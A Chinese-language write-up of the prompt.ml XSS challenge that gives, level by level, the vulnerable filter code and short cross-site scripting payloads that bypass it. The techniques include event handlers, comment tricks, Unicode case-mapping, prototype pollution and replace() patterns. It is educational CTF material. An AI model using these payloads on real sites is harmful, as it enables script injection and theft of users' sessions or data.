xss挑戰賽writeup
挑戰地址:http://prompt.ml/0
from:https://github.com/cure53/xss-challenge-wiki/wiki/prompt.ml
規則:
- 成功執行
prompt(1)
- payload不需要使用者互動
- payload必須對下述瀏覽器有效:
- Chrome(最新版) - Firefox(最新版) - IE10 及以上版本(或者IE10相容模式) 4. 每個級別至少給出兩種瀏覽器的答案 5. 字元越少越好
Level 0
程式碼
#!js
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}
答案
#!html
"><svg/onload=prompt(1)>
這個payload 24個字元。還有一個比較不常用的技巧,在IE10下,當頁面第一次載入時,會呼叫resize
事件,這個payload只有20個字元
#!js
"onresize=prompt(1)>
背景知識
resize
事件在IE10及以下版本有效,IE11沒有用。並且不需要使用者互動。 更多資訊:http://msdn.microsoft.com/en-us/library/ie/ms536959%28v=vs.85%29.aspx
Level 1
該級別實際是簡單的過濾了>
,需要繞過以下即可。
程式碼
#!js
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');
return '<article>' + input + '</article>';
}
答案
#!html
<svg/onload=prompt(1)
注:譯者使用js改版http://sectest.sinaapp.com/xss/level1.php,測試答案為
#!html
<svg/onload=prompt(1)//
Level 2
該級別過濾了=
、(
兩種符號。
程式碼
#!js
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');
// ok seriously, disallows equal signs and open parenthesis
return input;
}
答案
Firefox 和IE下的答案(29個字元)
#!html
<svg><script>prompt(1)<b>
Chrome下需要script閉合標籤,所以上述payload不成功。最短的答案如下(35個字元)
#!html
<svg><script>prompt(1)</script>
未來所有的瀏覽器支援ES6,還可以使用下述編碼:
#!html
<script>eval.call`${'prompt\x281)'}`</script>
或者
#!html
<script>eval.call`${'prompt\x281)'}`</script>
背景知識
由於xml編碼特性。在SVG向量裡面的<script>
元素(或者其他CDATA元素 ),會先進行xml解析。因此(
(十六進位制)或者(
(十進位制)或者&lpar;
(html實體編碼)會被還原成(
。
Level 3
過濾了->
。但是2012已經公佈,html5的註釋標籤不僅可以使用-->
,還可以使用--!>
。
程式碼
#!js
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');
// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}
25個字元通殺三個瀏覽器如下:
#!html
--!><svg/onload=prompt(1)
Level 4
這個題目是利用url的特性繞過,瀏覽器支援這樣的url:http://user:[email protected]http://user:[email protected]
是不允許的。由於這裡的正則特性和decodeURIComponent
函式,所以可以使用%2f
繞過,如下:http:[email protected]
。所以域名越短,答案就越短。
程式碼
#!js
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}
答案
[email protected]/✌
Level 5
過濾了>
,過濾了onXXX=
,過濾了focus
,所以不能使用autofocus
。但是可以使用js的換行\n
繞過onXXX=
,IE下依然可以使用onresize
程式碼
#!js
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
return '<input value="' + input + '" type="text">';
}
答案: 一種答案是,可以提交設定type
為image
,後面的type
不能覆蓋前面的設定。
#!js
"type=image src onerror
="prompt(1)
IE下可以使用更短的答案:
#!js
"onresize
="prompt(1)
Level 6
雖然有過濾,但是可以將輸入插入到form表單的action
中。
程式碼
#!js
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);
var form = document.createElement('form');
form.action = formURL;
form.method = 'post';
for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}
答案
33個字元
#!js
javascript:prompt(1)#{"action":1}
IE下可以使用vbscript減少字元
#!js
vbscript:prompt(1)#{"action":1}
Level 7
可以使用js註釋繞過。如下:
#!html
<p class="comment" title=""><svg/a="></p>
<p class="comment" title=""onload='/*"></p>
<p class="comment" title="*/prompt(1)'"></p>
程式碼
#!js
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}
答案
34個字元:
#!html
"><svg/a=#"onload='/*#*/prompt(1)'
IE下31個字元
#!html
"><script x=#"async=#"src="//⒛₨
<p class="comment" title=""><script x="></p>
<p class="comment" title=""async="></p>
<p class="comment" title=""src="//⒛₨"></p>
背景知識
小技巧:IE下可以使用##async##來載入不需要閉合的script檔案。如下:
#!html
<script src="test.js" async>
Level 8
這題使用的兩個技巧
<LS>
是U+2028,是Unicode中的行分隔符。<PS>
是U+2029,是Unicode中的段落分隔符。
另外-->
,也可以在js中當註釋使用,資料:https://javascript.spec.whatwg.org/#comment-syntax,因此我們構造答案如下:
#!html
<script>
// console.log("
prompt(1)
-->");
</script>
程式碼
#!js
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');
return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}
答案
Chrome和Firefox下 14個字元
#!js
[U+2028]prompt(1)[U+2028]-->
背景知識
比較奇怪的是,js中的換行符跟unicode中的不一致。另外,HTML程式碼的註釋可以在Javascript中使用
Level 9
該題使用正則<([a-zA-Z])
,導致無法注入HTML標籤。但是toUpperCase()函式是支援Unicode函式。字元ſ
經過函式toUpperCase()處理後,會變成ASCII碼字元"S"。
程式碼
#!js
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();
// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}
答案
26個字元通殺瀏覽器的答案
#!html
<ſcript/ſrc=//⒕₨></ſcript>
或者使用async
#!html
<ſcript/async/src=//⒛₨>
Level 10
這個題目使用兩個正則過濾。比較容易
程式碼
#!js
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');
// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}
答案
#!js
p'rompt(1)
Level 11
這個題目直接允許注入資料到script標籤裡面,但是過濾了特殊符號。這裡的技巧是使用一個資料或者字母擁有運算子的功能,就是in
程式碼
#!js
function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');
// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';
// directly "parse" data in script context
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}
答案
#!js
"(prompt(1))in"
<script>
var data = {"action":"login","message":"Welcome back, "(prompt(1))in"."};
if (data.action === "login")
document.write(data.message)
</script>
背景知識
"test"(alert(1))
雖然會提示語法錯誤, 但是還是會執行js語句。類似的alert(1)in"test"
也是一樣。可以在控制檯下使用F12執行
Level 12
該題主要是利用toString()解答。eval可以直接執行字串。如下:
#!js
parseInt("prompt",36); //1558153217
因此,
可以使用
eval((1558153217).toString(36))(1)
還可以
eval(1558153217..toString(36))(1)
還可以
eval(630038579..toString(30))(1)
程式碼
#!js
function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');
// ノ┬─┬ノ ︵ ( \o°o)\
return '<script>' + input + '</script> ';
}
答案
32個字元通殺所有瀏覽器
#!js
eval(630038579..toString(30))(1)
// Hexadecimal alternative (630038579 == 0x258da033):
eval(0x258da033.toString(30))(1)
還有一種比較暴力的方法是,透過迴圈執行self裡面的函式,來查詢prompt執行(firfox下測試有效)
#!js
for((i)in(self))eval(i)(1)
Level 13
這個題目涉及到js中的__proto__
,每個物件都會在其內部初始化一個屬性,就是__proto__
,當我們訪問物件的屬性時,如果物件內部不存在這個屬性,那麼就會去__proto__
裡面找這個屬性,這個__proto__
又會有自己的__proto__
,一直這樣找下去。可以再Chrome控制檯中測試:
#!js
config = {
"source": "_-_invalid-URL_-_",
"__proto__": {
"source": "my_evil_payload"
}
}
輸入
#!js
delete config.source
config.source
返回
my_evil_payload
還有一個技巧是,replace()這個函式,他還接受一些特殊的匹配模式https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#Description 翻譯如下:
$` 替換查詢的字串,並且在頭部加上比配位置前的字串部分
舉個例子就是:
'123456'.replace('34','$`xss')
返回
'1212xss56'
程式碼
#!js
function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}
答案
59個字元,通殺所有瀏覽器
#!js
{"source":{},"__proto__":{"source":"$`onerror=prompt(1)>"}}
Level 14
這個題目使用base64繞過。
程式碼
#!js
function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');
return '<img src="' + input + '">';
}
答案
firfox下94個字元
#!html
"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=
IE下
#!html
"><script/async/src="/〳⒛₨
<img src=""><SCRIPT/ASYNC/SRC="/〳⒛₨">
背景知識
這裡再次使用了Unicode字元繞過。
Level 15
過濾了,所以不能使用js註釋/,但是前面也提到了,html裡面的<!--
,-->
同樣可以在js中使用,如下
#!html
<p class="comment" title=""><svg><!--" data-comment='{"id":0}'></p>
<p class="comment" title="--><script><!--" data-comment='{"id":1}'></p>
<p class="comment" title="-->prompt(1<!--" data-comment='{"id":2}'></p>
<p class="comment" title="-->)</script>" data-comment='{"id":3}'></p>
程式碼
#!js
function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');
}
答案
57個字元
#!html
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>
在Firefox和IE下,</script>
不需要,可以減少到42個字元
#!html
"><svg><!--#--><script><!--#-->prompt(1)</
在最新的Firefox Aurora版本上,還可以如下(譯者未測試):
#!html
"><script>`#${prompt(1)}#`</script>
Hidden Level
這裡主要使用了兩個非常有用的技巧,第一個是javascript的變數提升,以下語法可以在chrome下F12執行
#!js
function functionDeclaration(a,b,c) {
alert('Function declared with ' + functionDeclaration.length + ' parameters');
}
functionDeclaration(); //alert > Function declared with 3 parameters
還有一個技巧就是第13題提到的replace()
的匹配技巧,使用$&
,測試如下:
'123456'.replace('34','$&x')
'1234x56' //x 直接插入到 查詢到的 34位置
所以可以構造下面的程式碼
#!js
if (history.length > 1337) {
// you can inject any code here
// as long as it will be executed
function history(l,o,r,e,m...1338 times...){{injection}}
prompt(1)
}
code
#!js
function escape(input) {
// WORLD -1
// strip off certain characters from breaking conditional statement
input = input.replace(/[}<]/g, '');
return ' \n\
<script> \n\
if (history.length > 1337) { \n\
// you can inject any code here \n\
// as long as it will be executed \n\
{{injection}} \n\
} \n\
</script> \n\
'.replace('{{injection}}', input);
}
答案
總共2704個字母
#!js
function history(L,o,r,e,m,I,p,s,u,m,i,s,s,i,m,p,l,y,d,u,m,m,y,t,e,x,t,o,f,t,h,e,p,r,i,n,t,i,n,g,a,n,d,t,y,p,e,s,e,t,t,i,n,g,i,n,d,u,s,t,r,y,L,o,r,e,m,I,p,s,u,m,h,a,s,b,e,e,n,t,h,e,i,n,d,u,s,t,r,y,s,s,t,a,n,d,a,r,d,d,u,m,m,y,t,e,x,t,e,v,e,r,s,i,n,c,e,t,h,e,s,w,h,e,n,a,n,u,n,k,n,o,w,n,p,r,i,n,t,e,r,t,o,o,k,a,g,a,l,l,e,y,o,f,t,y,p,e,a,n,d,s,c,r,a,m,b,l,e,d,i,t,t,o,m,a,k,e,a,t,y,p,e,s,p,e,c,i,m,e,n,b,o,o,k,I,t,h,a,s,s,u,r,v,i,v,e,d,n,o,t,o,n,l,y,f,i,v,e,c,e,n,t,u,r,i,e,s,b,u,t,a,l,s,o,t,h,e,l,e,a,p,i,n,t,o,e,l,e,c,t,r,o,n,i,c,t,y,p,e,s,e,t,t,i,n,g,r,e,m,a,i,n,i,n,g,e,s,s,e,n,t,i,a,l,l,y,u,n,c,h,a,n,g,e,d,I,t,w,a,s,p,o,p,u,l,a,r,i,s,e,d,i,n,t,h,e,s,w,i,t,h,t,h,e,r,e,l,e,a,s,e,o,f,L,e,t,r,a,s,e,t,s,h,e,e,t,s,c,o,n,t,a,i,n,i,n,g,L,o,r,e,m,I,p,s,u,m,p,a,s,s,a,g,e,s,a,n,d,m,o,r,e,r,e,c,e,n,t,l,y,w,i,t,h,d,e,s,k,t,o,p,p,u,b,l,i,s,h,i,n,g,s,o,f,t,w,a,r,e,l,i,k,e,A,l,d,u,s,P,a,g,e,M,a,k,e,r,i,n,c,l,u,d,i,n,g,v,e,r,s,i,o,n,s,o,f,L,o,r,e,m,I,p,s,u,m,I,t,i,s,a,l,o,n,g,e,s,t,a,b,l,i,s,h,e,d,f,a,c,t,t,h,a,t,a,r,e,a,d,e,r,w,i,l,l,b,e,d,i,s,t,r,a,c,t,e,d,b,y,t,h,e,r,e,a,d,a,b,l,e,c,o,n,t,e,n,t,o,f,a,p,a,g,e,w,h,e,n,l,o,o,k,i,n,g,a,t,i,t,s,l,a,y,o,u,t,T,h,e,p,o,i,n,t,o,f,u,s,i,n,g,L,o,r,e,m,I,p,s,u,m,i,s,t,h,a,t,i,t,h,a,s,a,m,o,r,e,o,r,l,e,s,s,n,o,r,m,a,l,d,i,s,t,r,i,b,u,t,i,o,n,o,f,l,e,t,t,e,r,s,a,s,o,p,p,o,s,e,d,t,o,u,s,i,n,g,C,o,n,t,e,n,t,h,e,r,e,c,o,n,t,e,n,t,h,e,r,e,m,a,k,i,n,g,i,t,l,o,o,k,l,i,k,e,r,e,a,d,a,b,l,e,E,n,g,l,i,s,h,M,a,n,y,d,e,s,k,t,o,p,p,u,b,l,i,s,h,i,n,g,p,a,c,k,a,g,e,s,a,n,d,w,e,b,p,a,g,e,e,d,i,t,o,r,s,n,o,w,u,s,e,L,o,r,e,m,I,p,s,u,m,a,s,t,h,e,i,r,d,e,f,a,u,l,t,m,o,d,e,l,t,e,x,t,a,n,d,a,s,e,a,r,c,h,f,o,r,l,o,r,e,m,i,p,s,u,m,w,i,l,l,u,n,c,o,v,e,r,m,a,n,y,w,e,b,s,i,t,e,s,s,t,i,l,l,i,n,t,h,e,i,r,i,n,f,a,n,c,y,V,a,r,i,o,u,s,v,e,r,s,i,o,n,s,h,a,v,e,e,v,o,l,v,e,d,o,v,e,r,t,h,e,y,e,a,r,s,s,o,m,e,t,i,m,e,s,b,y,a,c,c,i,d,e,n,t,s,o,m,e,t,i,m,e,s,o,n,p,u,r,p,o,s,e,i,n,j,e,c,t,e,d,h,u,m,o,u,r,a,n,d,t,h,e,l,i,k,e,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_)$&prompt(1)
相關文章
- 無聲杯 xss 挑戰賽 writeup2020-08-19
- XSS挑戰第一期Writeup2020-08-19
- XSS挑戰第二期 Writeup2020-08-19
- 楚穎i2024polarctf夏季個人挑戰賽WriteUp2024-06-01
- 第五季極客大挑戰writeup2020-08-19
- 極客大挑戰2023-pwn-nc_pwntools WriteUp2024-09-28
- 牛客挑戰賽582022-03-21
- Wanafly挑戰賽25 A因子2018-09-29
- XSS挑戰之旅(通過看程式碼解題)2020-05-15
- GeekPwn雲安全挑戰賽賽前大揭秘!2020-10-17
- 長安“戰疫”網路安全衛士守護賽writeup2022-01-08
- 雲原生程式設計挑戰賽火熱開賽,51 萬獎金等你來挑戰!2022-07-28程式設計
- 【極客大挑戰2023】- Re -點選就送的逆向題 WriteUp2024-10-04
- 牛客挑戰賽72 總結2023-12-29
- SegmentFault 思否寫作挑戰賽!2023-02-08
- 321,京東言犀×NLPCC 2022挑戰賽開賽!2022-03-21
- 【題目全解】ACGO挑戰賽#82024-09-04Go
- 黃河流域挑戰賽WEB部分-gxngxngxn2024-05-12Web
- Polar【2024春季個人挑戰賽】—— Crypto2024-03-28
- 天池FashionAI全球挑戰賽小小嚐試2019-02-27AI
- SegmentFault 思否面試闖關挑戰賽!2023-03-08面試
- 快來參加學習.NET 挑戰賽2020-11-14
- 牛客挑戰賽23-A.字串(尺取)2018-09-01字串
- 騰訊2021LIGHT公益創新挑戰賽賽題分析2022-03-17
- 資訊保安鐵人三項賽--資質賽writeup2020-04-05
- Datawhale AI夏令營-機器翻譯挑戰賽2024-07-17AI
- 騰訊Light·公益創新挑戰賽介紹2022-05-17
- OpenYurt 邀你共赴 2022 EdgeX 中國挑戰賽!2022-08-17
- 記微軟OpenHack機器學習挑戰賽2019-05-18微軟機器學習
- 2020全國高校計算機能力挑戰賽2020-11-30計算機
- 全國高校計算機能力挑戰賽 Java2020-11-29計算機Java
- 第二屆學習影象壓縮挑戰賽2019-03-04
- 新加坡政府將舉辦區塊鏈挑戰賽2018-04-02區塊鏈
- 世界銀行發起AI救災挑戰賽2018-03-28AI
- 壹電競群英挑戰賽海選賽結束 共同期待積分賽2020-08-18
- [V&N2020 公開賽]easyTHeap writeup2020-10-24
- 技術分享 | "錦行杯"比賽 Writeup2021-02-02
- 捷報頻傳|M01N戰隊榮獲2020WIDC世界智慧駕駛挑戰賽-資訊保安挑戰賽優勝獎2020-06-23